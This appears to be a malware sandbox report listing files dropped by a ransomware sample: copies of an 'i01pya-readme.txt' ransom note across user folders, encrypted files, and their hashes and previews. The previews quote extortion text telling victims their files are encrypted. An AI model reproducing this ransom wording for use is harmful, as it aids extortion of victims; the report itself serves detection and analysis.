.w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\OneDrive\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Pictures\Camera Roll\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Pictures\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Recent\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Saved Games\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Searches\Everywhere.search-ms
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):480
            Entropy (8bit):7.516508727937794
            Encrypted:false
            SSDEEP:12:mIY2xvvkrIrWXoIllcGq7VrTniwFOsSAPVtR9o7ahVD:mIOGWXoYlvuJTniqOsDPVtvhVD
            MD5:A64FA2BF52303034C32061B4B594379D
            SHA1:F89D90D1E7375BA18BC60868F281AAFFED4A6CD9
            SHA-256:7124A5A0E2AC04704C6DD4220E0D948C79A961869530788336D2128759220D34
            SHA-512:8FF28712DDBD6F015F90F96899748EA963F263C15E63887E1FB36C5EAF4BE97F63333DFE1C2EAEA2B7F25AD0262729F4009E1C3C9EF3F0B6375F1A0F0A099C03
            Malicious:false
            Preview: .$.2t"...pZ....k.1..#...)..9..%..@I....h...........lp......#O.H..c...r...P..)....6...[...[....v.k..:..M,.3).n.^Cy..R...Ux..:.uwaoO.l.@X.x9.L......hX.Q%.Z.."...^..)CS.........:..1.l.x?..%...........%.N...}2..m7R]W.H.4+..~.....,T.\;}..(.cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`....UP?.T........F.!..[+,.....]c./.#..p...F..........u.
            C:\Users\user\Searches\Indexed Locations.search-ms
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):480
            Entropy (8bit):7.446976148382268
            Encrypted:false
            SSDEEP:12:WU1iR5w4T9d9pfzeIllcGq7VrTniwFOsSAPVtRTa4:lei4TZpftlvuJTniqOsDPVtc4
            MD5:6F946F6B7C30320889E6940C5B328327
            SHA1:0F6111FFC29AC9C8AFD42DC508E98E3251589BD8
            SHA-256:BBB6865FC05E996411991D91ACC7397C85874D8A16995F7F2E26B24DC8A3B040
            SHA-512:ABDFC1C7649E49E14DDAEBC2B9D004005DDC7070F12535DE4E0D76D106648DDE504141498E489B7C8C7C7564EBAA23E056CFF95C0B4CD21D874502E45ABEFB1E
            Malicious:false
            Preview: .+.:BV.h%.....ZR.{...I...qU...|H.......[C.@.~.w..-..2O..zN...C..-...q..7)....tb.P.&.\..ds|........2Ft...7..-)........Gz%.M.e...%D..PG......G....Ph..X..g.q0.@.........$f...7_.HfH--6.V9. mu..<~.._.5up..~...W.U..f*}V...../...I......x.?cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`.......qy)..$6...[./.I}p^T%..BC..(.%*.....y?I...........?.
            C:\Users\user\Searches\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Videos\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\bootTel.dat
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):312
            Entropy (8bit):7.27780356887137
            Encrypted:false
            SSDEEP:6:UrOHMN5jDthllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vb0mR4brGCJuXPWtQ:UrthllcGq7VrTniwFOsSAPVtRR4WV
            MD5:91B6A64D45432123347DE1E10D721207
            SHA1:066B406E196C2D968F2450B04D420A512F440FAD
            SHA-256:B01E6D54CCDDEB2AE8C48C221A45249D98EE156E07C17B1BC45407D77CDD5998
            SHA-512:8C6A097D5BC1BC92B335402109204226967D56DEBC66AA60A0ED2D9C31E351B0C997FA518E5677A8405773E18CB66D987C31C3E9A0FFE3BCEDAC7838589F97CD
            Malicious:false
            Preview: ......xL.$.k...rd....a..R$.....s...ot..Yzc..AL......F...{5...O&...*s.?..&N...cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`...mi.........;..L..u.....w;.#hh1\..q.S..k.[W............
            C:\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:true
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. 